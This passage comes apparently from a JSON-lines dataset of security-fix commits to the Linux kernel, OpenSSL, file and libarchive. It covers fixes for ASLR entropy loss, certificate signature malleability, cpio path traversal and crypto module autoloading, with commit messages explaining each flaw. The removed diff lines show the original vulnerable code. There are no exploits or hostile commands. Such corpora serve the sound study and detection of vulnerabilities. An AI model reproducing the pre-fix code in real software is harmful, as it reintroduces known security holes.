stable@vger.kernel.org\nSigned-off-by: Linus Torvalds ", "patch": "@@ -39,6 +39,7 @@ asmlinkage void simd_coprocessor_error(void);\n \n #ifdef CONFIG_TRACING\n asmlinkage void trace_page_fault(void);\n+#define trace_stack_segment stack_segment\n #define trace_divide_error divide_error\n #define trace_bounds bounds\n #define trace_invalid_op invalid_op", "sections": [{"section": "@@ -39,6 +39,7 @@ asmlinkage void simd_coprocessor_error(void);\n \n #ifdef CONFIG_TRACING\n asmlinkage void trace_page_fault(void);\n+#define trace_stack_segment stack_segment\n #define trace_divide_error divide_error\n #define trace_bounds bounds\n #define trace_invalid_op invalid_op", "related": false}]} +{"owner": "file", "repo": "file", "language": "C", "file_name": "src/file.h", "commit_id": "ce90e05774dd77d86cfc8dfa6da57b32816841c4", "commit_message": "- Add a limit to the number of ELF notes processed (Suggested by Alexander\n Cherepanov)\n- Restructure ELF note printing so that we don't print the same message\n multiple times on repeated notes of the same kind.", "patch": "@@ -27,7 +27,7 @@\n */\n /*\n * file.h - definitions for file(1) program\n- * @(#)$File: file.h,v 1.161 2014/12/04 15:56:46 christos Exp $\n+ * @(#)$File: file.h,v 1.162 2014/12/11 12:34:24 christos Exp $\n */\n \n #ifndef __file_h__\n@@ -407,10 +407,12 @@ struct magic_set {\n \tuint16_t name_max;\n \tuint16_t elf_shnum_max;\n \tuint16_t elf_phnum_max;\n+\tuint16_t elf_notes_max;\n #define\tFILE_INDIR_MAX\t\t\t15\n #define\tFILE_NAME_MAX\t\t\t30\n #define\tFILE_ELF_SHNUM_MAX\t\t32768\n #define\tFILE_ELF_PHNUM_MAX\t\t128\n+#define\tFILE_ELF_NOTES_MAX\t\t256\n };\n \n /* Type for Unicode characters */", "sections": [{"section": "@@ -27,7 +27,7 @@\n */\n /*\n * file.h - definitions for file(1) program\n- * @(#)$File: file.h,v 1.161 2014/12/04 15:56:46 christos Exp $\n+ * @(#)$File: file.h,v 1.162 2014/12/11 12:34:24 christos Exp $\n */\n \n #ifndef __file_h__\n", "related": false}, {"section": "@@ -407,10 +407,12 @@ struct magic_set {\n \tuint16_t name_max;\n \tuint16_t elf_shnum_max;\n \tuint16_t elf_phnum_max;\n+\tuint16_t elf_notes_max;\n #define\tFILE_INDIR_MAX\t\t\t15\n #define\tFILE_NAME_MAX\t\t\t30\n #define\tFILE_ELF_SHNUM_MAX\t\t32768\n #define\tFILE_ELF_PHNUM_MAX\t\t128\n+#define\tFILE_ELF_NOTES_MAX\t\t256\n };\n \n /* Type for Unicode characters */", "related": false}]} +{"owner": "openssl", "repo": "openssl", "language": "C", "file_name": "crypto/asn1/a_verify.c", "commit_id": "684400ce192dac51df3d3e92b61830a6ef90be3e", "commit_message": "Fix various certificate fingerprint issues.\n\nBy using non-DER or invalid encodings outside the signed portion of a\ncertificate the fingerprint can be changed without breaking the signature.\nAlthough no details of the signed portion of the certificate can be changed\nthis can cause problems with some applications: e.g. those using the\ncertificate fingerprint for blacklists.\n\n1. Reject signatures with non zero unused bits.\n\nIf the BIT STRING containing the signature has non zero unused bits reject\nthe signature. All current signature algorithms require zero unused bits.\n\n2. Check certificate algorithm consistency.\n\nCheck the AlgorithmIdentifier inside TBS matches the one in the\ncertificate signature. NB: this will result in signature failure\nerrors for some broken certificates.\n\n3. Check DSA/ECDSA signatures use DER.\n\nReencode DSA/ECDSA signatures and compare with the original received\nsignature. Return an error if there is a mismatch.\n\nThis will reject various cases including garbage after signature\n(thanks to Antti Karjalainen and Tuomo Untinen from the Codenomicon CROSS\nprogram for discovering this case) and use of BER or invalid ASN.1 INTEGERs\n(negative or with leading zeroes).\n\nCVE-2014-8275\nReviewed-by: Emilia Käsper ", "patch": "@@ -90,6 +90,12 @@ int ASN1_verify(i2d_of_void *i2d, X509_ALGOR *a, ASN1_BIT_STRING *signature,\n \t\tASN1err(ASN1_F_ASN1_VERIFY,ASN1_R_UNKNOWN_MESSAGE_DIGEST_ALGORITHM);\n \t\tgoto err;\n \t\t}\n+\n+\tif (signature->type == V_ASN1_BIT_STRING && signature->flags & 0x7)\n+\t\t{\n+\t\tASN1err(ASN1_F_ASN1_VERIFY, ASN1_R_INVALID_BIT_STRING_BITS_LEFT);\n+\t\tgoto err;\n+\t\t}\n \t\n \tinl=i2d(data,NULL);\n \tbuf_in=OPENSSL_malloc((unsigned int)inl);\n@@ -150,6 +156,12 @@ int ASN1_item_verify(const ASN1_ITEM *it, X509_ALGOR *a,\n \t\treturn -1;\n \t\t}\n \n+\tif (signature->type == V_ASN1_BIT_STRING && signature->flags & 0x7)\n+\t\t{\n+\t\tASN1err(ASN1_F_ASN1_VERIFY, ASN1_R_INVALID_BIT_STRING_BITS_LEFT);\n+\t\treturn -1;\n+\t\t}\n+\n \tEVP_MD_CTX_init(&ctx);\n \n \t/* Convert signature OID into digest and public key OIDs */", "sections": [{"section": "@@ -90,6 +90,12 @@ int ASN1_verify(i2d_of_void *i2d, X509_ALGOR *a, ASN1_BIT_STRING *signature,\n \t\tASN1err(ASN1_F_ASN1_VERIFY,ASN1_R_UNKNOWN_MESSAGE_DIGEST_ALGORITHM);\n \t\tgoto err;\n \t\t}\n+\n+\tif (signature->type == V_ASN1_BIT_STRING && signature->flags & 0x7)\n+\t\t{\n+\t\tASN1err(ASN1_F_ASN1_VERIFY, ASN1_R_INVALID_BIT_STRING_BITS_LEFT);\n+\t\tgoto err;\n+\t\t}\n \t\n \tinl=i2d(data,NULL);\n \tbuf_in=OPENSSL_malloc((unsigned int)inl);\n", "related": false}, {"section": "@@ -150,6 +156,12 @@ int ASN1_item_verify(const ASN1_ITEM *it, X509_ALGOR *a,\n \t\treturn -1;\n \t\t}\n \n+\tif (signature->type == V_ASN1_BIT_STRING && signature->flags & 0x7)\n+\t\t{\n+\t\tASN1err(ASN1_F_ASN1_VERIFY, ASN1_R_INVALID_BIT_STRING_BITS_LEFT);\n+\t\treturn -1;\n+\t\t}\n+\n \tEVP_MD_CTX_init(&ctx);\n \n \t/* Convert signature OID into digest and public key OIDs */", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/mm/mmap.c", "commit_id": "4e7c22d447bb6d7e37bfe39ff658486ae78e8d77", "commit_message": "x86, mm/ASLR: Fix stack randomization on 64-bit systems\n\nThe issue is that the stack for processes is not properly randomized on\n64 bit architectures due to an integer overflow.\n\nThe affected function is randomize_stack_top() in file\n\"fs/binfmt_elf.c\":\n\n static unsigned long randomize_stack_top(unsigned long stack_top)\n {\n unsigned int random_variable = 0;\n\n if ((current->flags & PF_RANDOMIZE) &&\n !(current->personality & ADDR_NO_RANDOMIZE)) {\n random_variable = get_random_int() & STACK_RND_MASK;\n random_variable <<= PAGE_SHIFT;\n }\n return PAGE_ALIGN(stack_top) + random_variable;\n return PAGE_ALIGN(stack_top) - random_variable;\n }\n\nNote that, it declares the \"random_variable\" variable as \"unsigned int\".\nSince the result of the shifting operation between STACK_RND_MASK (which\nis 0x3fffff on x86_64, 22 bits) and PAGE_SHIFT (which is 12 on x86_64):\n\n\t random_variable <<= PAGE_SHIFT;\n\nthen the two leftmost bits are dropped when storing the result in the\n\"random_variable\". This variable shall be at least 34 bits long to hold\nthe (22+12) result.\n\nThese two dropped bits have an impact on the entropy of process stack.\nConcretely, the total stack entropy is reduced by four: from 2^28 to\n2^30 (One fourth of expected entropy).\n\nThis patch restores back the entropy by correcting the types involved\nin the operations in the functions randomize_stack_top() and\nstack_maxrandom_size().\n\nThe successful fix can be tested with:\n\n $ for i in `seq 1 10`; do cat /proc/self/maps | grep stack; done\n 7ffeda566000-7ffeda587000 rw-p 00000000 00:00 0 [stack]\n 7fff5a332000-7fff5a353000 rw-p 00000000 00:00 0 [stack]\n 7ffcdb7a1000-7ffcdb7c2000 rw-p 00000000 00:00 0 [stack]\n 7ffd5e2c4000-7ffd5e2e5000 rw-p 00000000 00:00 0 [stack]\n ...\n\nOnce corrected, the leading bytes should be between 7ffc and 7fff,\nrather than always being 7fff.\n\nSigned-off-by: Hector Marco-Gisbert \nSigned-off-by: Ismael Ripoll \n[ Rebased, fixed 80 char bugs, cleaned up commit message, added test example and CVE ]\nSigned-off-by: Kees Cook \nCc: \nCc: Linus Torvalds \nCc: Andrew Morton \nCc: Al Viro \nFixes: CVE-2015-1593\nLink: http://lkml.kernel.org/r/20150214173350.GA18393@www.outflux.net\nSigned-off-by: Borislav Petkov ", "patch": "@@ -35,12 +35,12 @@ struct va_alignment __read_mostly va_align = {\n \t.flags = -1,\n };\n \n-static unsigned int stack_maxrandom_size(void)\n+static unsigned long stack_maxrandom_size(void)\n {\n-\tunsigned int max = 0;\n+\tunsigned long max = 0;\n \tif ((current->flags & PF_RANDOMIZE) &&\n \t\t!(current->personality & ADDR_NO_RANDOMIZE)) {\n-\t\tmax = ((-1U) & STACK_RND_MASK) << PAGE_SHIFT;\n+\t\tmax = ((-1UL) & STACK_RND_MASK) << PAGE_SHIFT;\n \t}\n \n \treturn max;", "sections": [{"section": "@@ -35,12 +35,12 @@ struct va_alignment __read_mostly va_align = {\n \t.flags = -1,\n };\n \n-static unsigned int stack_maxrandom_size(void)\n+static unsigned long stack_maxrandom_size(void)\n {\n-\tunsigned int max = 0;\n+\tunsigned long max = 0;\n \tif ((current->flags & PF_RANDOMIZE) &&\n \t\t!(current->personality & ADDR_NO_RANDOMIZE)) {\n-\t\tmax = ((-1U) & STACK_RND_MASK) << PAGE_SHIFT;\n+\t\tmax = ((-1UL) & STACK_RND_MASK) << PAGE_SHIFT;\n \t}\n \n \treturn max;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/ramfs/file-mmu.c", "commit_id": "8d0207652cbe27d1f962050737848e5ad4671958", "commit_message": "->splice_write() via ->write_iter()\n\niter_file_splice_write() - a ->splice_write() instance that gathers the\npipe buffers, builds a bio_vec-based iov_iter covering those and feeds\nit to ->write_iter(). A bunch of simple cases coverted to that...\n\n[AV: fixed the braino spotted by Cyrill]\n\nSigned-off-by: Al Viro ", "patch": "@@ -38,7 +38,7 @@ const struct file_operations ramfs_file_operations = {\n \t.mmap\t\t= generic_file_mmap,\n \t.fsync\t\t= noop_fsync,\n \t.splice_read\t= generic_file_splice_read,\n-\t.splice_write\t= generic_file_splice_write,\n+\t.splice_write\t= iter_file_splice_write,\n \t.llseek\t\t= generic_file_llseek,\n };\n ", "sections": [{"section": "@@ -38,7 +38,7 @@ const struct file_operations ramfs_file_operations = {\n \t.mmap\t\t= generic_file_mmap,\n \t.fsync\t\t= noop_fsync,\n \t.splice_read\t= generic_file_splice_read,\n-\t.splice_write\t= generic_file_splice_write,\n+\t.splice_write\t= iter_file_splice_write,\n \t.llseek\t\t= generic_file_llseek,\n };\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/open.c", "commit_id": "eee5cc2702929fd41cce28058dc6d6717f723f87", "commit_message": "get rid of s_files and files_lock\n\nThe only thing we need it for is alt-sysrq-r (emergency remount r/o)\nand these days we can do just as well without going through the\nlist of files.\n\nSigned-off-by: Al Viro ", "patch": "@@ -685,7 +685,6 @@ static int do_dentry_open(struct file *f,\n \t}\n \n \tf->f_mapping = inode->i_mapping;\n-\tfile_sb_list_add(f, inode->i_sb);\n \n \tif (unlikely(f->f_mode & FMODE_PATH)) {\n \t\tf->f_op = &empty_fops;\n@@ -724,7 +723,6 @@ static int do_dentry_open(struct file *f,\n \n cleanup_all:\n \tfops_put(f->f_op);\n-\tfile_sb_list_del(f);\n \tif (f->f_mode & FMODE_WRITE) {\n \t\tput_write_access(inode);\n \t\tif (!special_file(inode->i_mode)) {", "sections": [{"section": "@@ -685,7 +685,6 @@ static int do_dentry_open(struct file *f,\n \t}\n \n \tf->f_mapping = inode->i_mapping;\n-\tfile_sb_list_add(f, inode->i_sb);\n \n \tif (unlikely(f->f_mode & FMODE_PATH)) {\n \t\tf->f_op = &empty_fops;\n", "related": false}, {"section": "@@ -724,7 +723,6 @@ static int do_dentry_open(struct file *f,\n \n cleanup_all:\n \tfops_put(f->f_op);\n-\tfile_sb_list_del(f);\n \tif (f->f_mode & FMODE_WRITE) {\n \t\tput_write_access(inode);\n \t\tif (!special_file(inode->i_mode)) {", "related": false}]} +{"owner": "libarchive", "repo": "libarchive", "language": "C", "file_name": "libarchive/archive_write_disk_posix.c", "commit_id": "59357157706d47c365b2227739e17daba3607526", "commit_message": "Add ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS option\n\nThis fixes a directory traversal in the cpio tool.", "patch": "@@ -2509,8 +2509,9 @@ cleanup_pathname_win(struct archive_write_disk *a)\n /*\n * Canonicalize the pathname. In particular, this strips duplicate\n * '/' characters, '.' elements, and trailing '/'. It also raises an\n- * error for an empty path, a trailing '..' or (if _SECURE_NODOTDOT is\n- * set) any '..' in the path.\n+ * error for an empty path, a trailing '..', (if _SECURE_NODOTDOT is\n+ * set) any '..' in the path or (if ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS\n+ * is set) if the path is absolute.\n */\n static int\n cleanup_pathname(struct archive_write_disk *a)\n@@ -2529,8 +2530,15 @@ cleanup_pathname(struct archive_write_disk *a)\n \tcleanup_pathname_win(a);\n #endif\n \t/* Skip leading '/'. */\n-\tif (*src == '/')\n+\tif (*src == '/') {\n+\t\tif (a->flags & ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS) {\n+\t\t\tarchive_set_error(&a->archive, ARCHIVE_ERRNO_MISC,\n+\t\t\t \"Path is absolute\");\n+\t\t\treturn (ARCHIVE_FAILED);\n+\t\t}\n+\n \t\tseparator = *src++;\n+\t}\n \n \t/* Scan the pathname one element at a time. */\n \tfor (;;) {", "sections": [{"section": "@@ -2509,8 +2509,9 @@ cleanup_pathname_win(struct archive_write_disk *a)\n /*\n * Canonicalize the pathname. In particular, this strips duplicate\n * '/' characters, '.' elements, and trailing '/'. It also raises an\n- * error for an empty path, a trailing '..' or (if _SECURE_NODOTDOT is\n- * set) any '..' in the path.\n+ * error for an empty path, a trailing '..', (if _SECURE_NODOTDOT is\n+ * set) any '..' in the path or (if ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS\n+ * is set) if the path is absolute.\n */\n static int\n cleanup_pathname(struct archive_write_disk *a)\n", "related": false}, {"section": "@@ -2529,8 +2530,15 @@ cleanup_pathname(struct archive_write_disk *a)\n \tcleanup_pathname_win(a);\n #endif\n \t/* Skip leading '/'. */\n-\tif (*src == '/')\n+\tif (*src == '/') {\n+\t\tif (a->flags & ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS) {\n+\t\t\tarchive_set_error(&a->archive, ARCHIVE_ERRNO_MISC,\n+\t\t\t \"Path is absolute\");\n+\t\t\treturn (ARCHIVE_FAILED);\n+\t\t}\n+\n \t\tseparator = *src++;\n+\t}\n \n \t/* Scan the pathname one element at a time. */\n \tfor (;;) {", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/arm/crypto/sha1_neon_glue.c", "commit_id": "5d26a105b5a73e5635eae0629b42fa0a90e07b7b", "commit_message": "crypto: prefix module autoloading with \"crypto-\"\n\nThis prefixes all crypto module loading with \"crypto-\" so we never run\nthe risk of exposing module auto-loading to userspace via a crypto API,\nas demonstrated by Mathias Krause:\n\nhttps://lkml.org/lkml/2013/3/4/70\n\nSigned-off-by: Kees Cook \nSigned-off-by: Herbert Xu ", "patch": "@@ -194,4 +194,4 @@ module_exit(sha1_neon_mod_fini);\n \n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION(\"SHA1 Secure Hash Algorithm, NEON accelerated\");\n-MODULE_ALIAS(\"sha1\");\n+MODULE_ALIAS_CRYPTO(\"sha1\");", "sections": [{"section": "@@ -194,4 +194,4 @@ module_exit(sha1_neon_mod_fini);\n \n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION(\"SHA1 Secure Hash Algorithm, NEON accelerated\");\n-MODULE_ALIAS(\"sha1\");\n+MODULE_ALIAS_CRYPTO(\"sha1\");", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/s390/crypto/sha512_s390.c", "commit_id": "5d26a105b5a73e5635eae0629b42fa0a90e07b7b", "commit_message": "crypto: prefix module autoloading with \"crypto-\"\n\nThis prefixes all crypto module loading with \"crypto-\" so we never run\nthe risk of exposing module auto-loading to userspace via a crypto API,\nas demonstrated by Mathias Krause:\n\nhttps://lkml.org/lkml/2013/3/4/70\n\nSigned-off-by: Kees Cook \nSigned-off-by: Herbert Xu ", "patch": "@@ -86,7 +86,7 @@ static struct shash_alg sha512_alg = {\n \t}\n };\n \n-MODULE_ALIAS(\"sha512\");\n+MODULE_ALIAS_CRYPTO(\"sha512\");\n \n static int sha384_init(struct shash_desc *desc)\n {\n@@ -126,7 +126,7 @@ static struct shash_alg sha384_alg = {\n \t}\n };\n \n-MODULE_ALIAS(\"sha384\");\n+MODULE_ALIAS_CRYPTO(\"sha384\");\n \n static int __init init(void)\n {", "sections": [{"section": "@@ -86,7 +86,7 @@ static struct shash_alg sha512_alg = {\n \t}\n };\n \n-MODULE_ALIAS(\"sha512\");\n+MODULE_ALIAS_CRYPTO(\"sha512\");\n \n static int sha384_init(struct shash_desc *desc)\n {\n", "related": false}, {"section": "@@ -126,7 +126,7 @@ static struct shash_alg sha384_alg = {\n \t}\n };\n \n-MODULE_ALIAS(\"sha384\");\n+MODULE_ALIAS_CRYPTO(\"sha384\");\n \n static int __init init(void)\n {", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/crypto/aesni-intel_glue.c", "commit_id": "5d26a105b5a73e5635eae0629b42fa0a90e07b7b", "commit_message": "crypto: prefix module autoloading with \"crypto-\"\n\nThis prefixes all crypto module loading with \"crypto-\" so we never run\nthe risk of exposing module auto-loading to userspace via a crypto API,\nas demonstrated by Mathias Krause:\n\nhttps://lkml.org/lkml/2013/3/4/70\n\nSigned-off-by: Kees Cook \nSigned-off-by: Herbert Xu ", "patch": "@@ -1546,4 +1546,4 @@ module_exit(aesni_exit);\n \n MODULE_DESCRIPTION(\"Rijndael (AES) Cipher Algorithm, Intel AES-NI instructions optimized\");\n MODULE_LICENSE(\"GPL\");\n-MODULE_ALIAS(\"aes\");\n+MODULE_ALIAS_CRYPTO(\"aes\");", "sections": [{"section": "@@ -1546,4 +1546,4 @@ module_exit(aesni_exit);\n \n MODULE_DESCRIPTION(\"Rijndael (AES) Cipher Algorithm, Intel AES-NI instructions optimized\");\n MODULE_LICENSE(\"GPL\");\n-MODULE_ALIAS(\"aes\");\n+MODULE_ALIAS_CRYPTO(\"aes\");", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/crypto/des3_ede_glue.c", "commit_id": "5d26a105b5a73e5635eae0629b42fa0a90e07b7b", "commit_message": "crypto: prefix module autoloading with \"crypto-\"\n\nThis prefixes all crypto module loading with \"crypto-\" so we never run\nthe risk of exposing module auto-loading to userspace via a crypto API,\nas demonstrated by Mathias Krause:\n\nhttps://lkml.org/lkml/2013/3/4/70\n\nSigned-off-by: Kees Cook \nSigned-off-by: Herbert Xu ", "patch": "@@ -502,8 +502,8 @@ module_exit(des3_ede_x86_fini);\n \n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION(\"Triple DES EDE Cipher Algorithm, asm optimized\");\n-MODULE_ALIAS(\"des3_ede\");\n-MODULE_ALIAS(\"des3_ede-asm\");\n-MODULE_ALIAS(\"des\");\n-MODULE_ALIAS(\"des-asm\");\n+MODULE_ALIAS_CRYPTO(\"des3_ede\");\n+MODULE_ALIAS_CRYPTO(\"des3_ede-asm\");\n+MODULE_ALIAS_CRYPTO(\"des\");\n+MODULE_ALIAS_CRYPTO(\"des-asm\");\n MODULE_AUTHOR(\"Jussi Kivilinna \");", "sections": [{"section": "@@ -502,8 +502,8 @@ module_exit(des3_ede_x86_fini);\n \n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION(\"Triple DES EDE Cipher Algorithm, asm optimized\");\n-MODULE_ALIAS(\"des3_ede\");\n-MODULE_ALIAS(\"des3_ede-asm\");\n-MODULE_ALIAS(\"des\");\n-MODULE_ALIAS(\"des-asm\");\n+MODULE_ALIAS_CRYPTO(\"des3_ede\");\n+MODULE_ALIAS_CRYPTO(\"des3_ede-asm\");\n+MODULE_ALIAS_CRYPTO(\"des\");\n+MODULE_ALIAS_CRYPTO(\"des-asm\");\n MODULE_AUTHOR(\"Jussi Kivilinna \");", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/crypto/twofish_glue.c", "commit_id": "5d26a105b5a73e5635eae0629b42fa0a90e07b7b", "commit_message": "crypto: prefix module autoloading with \"crypto-\"\n\nThis prefixes all crypto module loading with \"crypto-\" so we never run\nthe risk of exposing module auto-loading to userspace via a crypto API,\nas demonstrated by Mathias Krause:\n\nhttps://lkml.org/lkml/2013/3/4/70\n\nSigned-off-by: Kees Cook \nSigned-off-by: Herbert Xu ", "patch": "@@ -96,5 +96,5 @@ module_exit(fini);\n \n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION (\"Twofish Cipher Algorithm, asm optimized\");\n-MODULE_ALIAS(\"twofish\");\n-MODULE_ALIAS(\"twofish-asm\");\n+MODULE_ALIAS_CRYPTO(\"twofish\");\n+MODULE_ALIAS_CRYPTO(\"twofish-asm\");", "sections": [{"section": "@@ -96,5 +96,5 @@ module_exit(fini);\n \n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION (\"Twofish Cipher Algorithm, asm optimized\");\n-MODULE_ALIAS(\"twofish\");\n-MODULE_ALIAS(\"twofish-asm\");\n+MODULE_ALIAS_CRYPTO(\"twofish\");\n+MODULE_ALIAS_CRYPTO(\"twofish-asm\");", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "crypto/cast5_generic.c", "commit_id": "5d26a105b5a73e5635eae0629b42fa0a90e07b7b", "commit_message": "crypto: prefix module autoloading with \"crypto-\"\n\nThis prefixes all crypto module loading with \"crypto-\" so we never run\nthe risk of exposing module auto-loading to userspace via a crypto API,\nas demonstrated by Mathias Krause:\n\nhttps://lkml.org/lkml/2013/3/4/70\n\nSigned-off-by: Kees Cook \nSigned-off-by: Herbert Xu ", "patch": "@@ -549,4 +549,4 @@ module_exit(cast5_mod_fini);\n \n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION(\"Cast5 Cipher Algorithm\");\n-MODULE_ALIAS(\"cast5\");\n+MODULE_ALIAS_CRYPTO(\"cast5\");", "sections": [{"section": "@@ -549,4 +549,4 @@ module_exit(cast5_mod_fini);\n \n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION(\"Cast5 Cipher Algorithm\");\n-MODULE_ALIAS(\"cast5\");\n+MODULE_ALIAS_CRYPTO(\"cast5\");", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "crypto/fcrypt.c", "commit_id": "5d26a105b5a73e5635eae0629b42fa0a90e07b7b", "commit_message": "crypto: prefix module autoloading with \"crypto-\"\n\nThis prefixes all crypto module loading with \"crypto-\" so we never run\nthe risk of exposing module auto-loading to userspace via a crypto API,\nas demonstrated by Mathias Krause:\n\nhttps://lkml.org/lkml/2013/3/4/70\n\nSigned-off-by: Kees Cook \nSigned-off-by: Herbert Xu ", "patch": "@@ -420,3 +420,4 @@ module_exit(fcrypt_mod_fini);\n MODULE_LICENSE(\"Dual BSD/GPL\");\n MODULE_DESCRIPTION(\"FCrypt Cipher Algorithm\");\n MODULE_AUTHOR(\"David Howells \");\n+MODULE_ALIAS_CRYPTO(\"fcrypt\");", "sections": [{"section": "@@ -420,3 +420,4 @@ module_exit(fcrypt_mod_fini);\n MODULE_LICENSE(\"Dual BSD/GPL\");\n MODULE_DESCRIPTION(\"FCrypt Cipher Algorithm\");\n MODULE_AUTHOR(\"David Howells \");\n+MODULE_ALIAS_CRYPTO(\"fcrypt\");", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "crypto/michael_mic.c", "commit_id": "5d26a105b5a73e5635eae0629b42fa0a90e07b7b", "commit_message": "crypto: prefix module autoloading with \"crypto-\"\n\nThis prefixes all crypto module loading with \"crypto-\" so we never run\nthe risk of exposing module auto-loading to userspace via a crypto API,\nas demonstrated by Mathias Krause:\n\nhttps://lkml.org/lkml/2013/3/4/70\n\nSigned-off-by: Kees Cook \nSigned-off-by: Herbert Xu ", "patch": "@@ -184,3 +184,4 @@ module_exit(michael_mic_exit);\n MODULE_LICENSE(\"GPL v2\");\n MODULE_DESCRIPTION(\"Michael MIC\");\n MODULE_AUTHOR(\"Jouni Malinen \");\n+MODULE_ALIAS_CRYPTO(\"michael_mic\");", "sections": [{"section": "@@ -184,3 +184,4 @@ module_exit(michael_mic_exit);\n MODULE_LICENSE(\"GPL v2\");\n MODULE_DESCRIPTION(\"Michael MIC\");\n MODULE_AUTHOR(\"Jouni Malinen \");\n+MODULE_ALIAS_CRYPTO(\"michael_mic\");", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "crypto/sha512_generic.c", "commit_id": "5d26a105b5a73e5635eae0629b42fa0a90e07b7b", "commit_message": "crypto: prefix module autoloading with \"crypto-\"\n\nThis prefixes all crypto module loading with \"crypto-\" so we never run\nthe risk of exposing module auto-loading to userspace via a crypto API,\nas demonstrated by Mathias Krause:\n\nhttps://lkml.org/lkml/2013/3/4/70\n\nSigned-off-by: Kees Cook \nSigned-off-by: Herbert Xu ", "patch": "@@ -288,5 +288,5 @@ module_exit(sha512_generic_mod_fini);\n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION(\"SHA-512 and SHA-384 Secure Hash Algorithms\");\n \n-MODULE_ALIAS(\"sha384\");\n-MODULE_ALIAS(\"sha512\");\n+MODULE_ALIAS_CRYPTO(\"sha384\");\n+MODULE_ALIAS_CRYPTO(\"sha512\");", "sections": [{"section": "@@ -288,5 +288,5 @@ module_exit(sha512_generic_mod_fini);\n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION(\"SHA-512 and SHA-384 Secure Hash Algorithms\");\n \n-MODULE_ALIAS(\"sha384\");\n-MODULE_ALIAS(\"sha512\");\n+MODULE_ALIAS_CRYPTO(\"sha384\");\n+MODULE_ALIAS_CRYPTO(\"sha512\");", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/crypto/ux500/hash/hash_core.c", "commit_id": "5d26a105b5a73e5635eae0629b42fa0a90e07b7b", "commit_message": "crypto: prefix module autoloading with \"crypto-\"\n\nThis prefixes all crypto module loading with \"crypto-\" so we never run\nthe risk of exposing module auto-loading to userspace via a crypto API,\nas demonstrated by Mathias Krause:\n\nhttps://lkml.org/lkml/2013/3/4/70\n\nSigned-off-by: Kees Cook \nSigned-off-by: Herbert Xu ", "patch": "@@ -1997,7 +1997,7 @@ module_exit(ux500_hash_mod_fini);\n MODULE_DESCRIPTION(\"Driver for ST-Ericsson UX500 HASH engine.\");\n MODULE_LICENSE(\"GPL\");\n \n-MODULE_ALIAS(\"sha1-all\");\n-MODULE_ALIAS(\"sha256-all\");\n-MODULE_ALIAS(\"hmac-sha1-all\");\n-MODULE_ALIAS(\"hmac-sha256-all\");\n+MODULE_ALIAS_CRYPTO(\"sha1-all\");\n+MODULE_ALIAS_CRYPTO(\"sha256-all\");\n+MODULE_ALIAS_CRYPTO(\"hmac-sha1-all\");\n+MODULE_ALIAS_CRYPTO(\"hmac-sha256-all\");", "sections": [{"section": "@@ -1997,7 +1997,7 @@ module_exit(ux500_hash_mod_fini);\n MODULE_DESCRIPTION(\"Driver for ST-Ericsson UX500 HASH engine.\");\n MODULE_LICENSE(\"GPL\");\n \n-MODULE_ALIAS(\"sha1-all\");\n-MODULE_ALIAS(\"sha256-all\");\n-MODULE_ALIAS(\"hmac-sha1-all\");\n-MODULE_ALIAS(\"hmac-sha256-all\");\n+MODULE_ALIAS_CRYPTO(\"sha1-all\");\n+MODULE_ALIAS_CRYPTO(\"sha256-all\");\n+MODULE_ALIAS_CRYPTO(\"hmac-sha1-all\");\n+MODULE_ALIAS_CRYPTO(\"hmac-sha256-all\");", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "crypto/chainiv.c", "commit_id": "4943ba16bbc2db05115707b3ff7b4874e9e3c560", "commit_message": "crypto: include crypto- module prefix in template\n\nThis adds the module loading prefix \"crypto-\" to the template lookup\nas well.\n\nFor example, attempting to load 'vfat(blowfish)' via AF_ALG now correctly\nincludes the \"crypto-\" prefix at every level, correctly rejecting \"vfat\":\n\n\tnet-pf-38\n\talgif-hash\n\tcrypto-vfat(blowfish)\n\tcrypto-vfat(blowfish)-all\n\tcrypto-vfat\n\nReported-by: Mathias Krause \nSigned-off-by: Kees Cook \nAcked-by: Mathias Krause \nSigned-off-by: Herbert Xu ", "patch": "@@ -359,3 +359,4 @@ module_exit(chainiv_module_exit);\n \n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION(\"Chain IV Generator\");\n+MODULE_ALIAS_CRYPTO(\"chainiv\");", "sections": [{"section": "@@ -359,3 +359,4 @@ module_exit(chainiv_module_exit);\n \n MODULE_LICENSE(\"GPL\");\n MODULE_DESCRIPTION(\"Chain IV Generator\");\n+MODULE_ALIAS_CRYPTO(\"chainiv\");", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "crypto/mcryptd.c", "commit_id": "4943ba16bbc2db05115707b3ff7b4874e9e3c560", "commit_message": "crypto: include crypto- module prefix in template\n\nThis adds the module loading prefix \"crypto-\" to the template lookup\nas well.\n\nFor example, attempting to load 'vfat(blowfish)' via 